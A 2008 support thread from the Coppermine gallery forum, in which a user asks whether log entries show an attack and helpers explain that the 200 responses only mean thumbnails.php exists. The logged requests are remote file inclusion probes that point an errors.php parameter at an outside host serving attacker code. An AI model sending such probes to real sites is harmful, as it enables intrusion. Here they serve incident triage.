coppermine-gallery.com/forum

Support => cpg1.4.x Support => Older/other versions => cpg1.4 permissions => Topic started by: empfl on June 19, 2008, 09:45:12 AM

Title: [Solved]: Is this an attack ??
Post by: empfl on June 19, 2008, 09:45:12 AM
Hello to all,

I have found the following entries in the log file.
Please can tell me somebody whether this is an attack on my homepage?
I am worried particularly about the two entries with HTTP code 200.

*******************************************

80.252.999.99 - - [19/Jun/2008:04:22:16 +0200] "GET /coppermine/thumbnails.php?album=28/errors.php?error=http://yyyyyyyyyyyy.com.ve/wall/xpl/alb?? HTTP/1.1" 200 6174 www.xxxxxx-xxxxxxx.xx "-" "libwww-perl/5.805" "-"

80.252.999.99 - - [19/Jun/2008:04:22:16 +0200] "GET /errors.php?error=http://yyyyyyyyyyyy.com.ve/wall/xpl/alb?? HTTP/1.1" 404 619 www.xxxxxx-xxxxxxx.xx "-" "libwww-perl/5.805" "-"
80.252.999.99 - - [19/Jun/2008:04:22:16 +0200] "GET /coppermine/errors.php?error=http://yyyyyyyyyyyy.com.ve/wall/xpl/alb?? HTTP/1.1" 404 619 www.xxxxxx-xxxxxxx.xx "-" "libwww-perl/5.805" "-"

80.252.999.99 - - [19/Jun/2008:04:22:28 +0200] "GET /coppermine/thumbnails.php?album=topn&cat=0/errors.php?error=http://yyyyyyyyyyyy.com.ve/wall/xpl/alb?? HTTP/1.1" 200 24958 www.xxxxxx-xxxxxxx.xx "-" "libwww-perl/5.805" "-"

*******************************************
Title: Re: Is this an attack ??
Post by: Hein Traag on June 19, 2008, 11:14:14 AM
Read these two threads:

http://forum.coppermine-gallery.net/index.php?topic=51760.msg250966 (http://forum.coppermine-gallery.net/index.php?topic=51760.msg250966)

and the one mentioned there:

http://forum.coppermine-gallery.net/index.php/topic,51671.0.html (http://forum.coppermine-gallery.net/index.php/topic,51671.0.html)
Title: Re: Is this an attack ??
Post by: empfl on June 19, 2008, 11:37:26 AM
Hello,

thx hein.

I understand that the Lines "Get ..." with with HTTP code 404 didn't find the files on my server.

But what's about the lines with the HTTP code 200. I know 200 means = file found

But what will this line do ?
Title: Re: Is this an attack ??
Post by: Nibbler on June 19, 2008, 11:52:48 AM
That's because thumbnails.php exists. It doesn't mean anything bad happened.
Title: Re: Is this an attack ??
Post by: empfl on June 19, 2008, 12:33:22 PM
Thx for sedation. :-)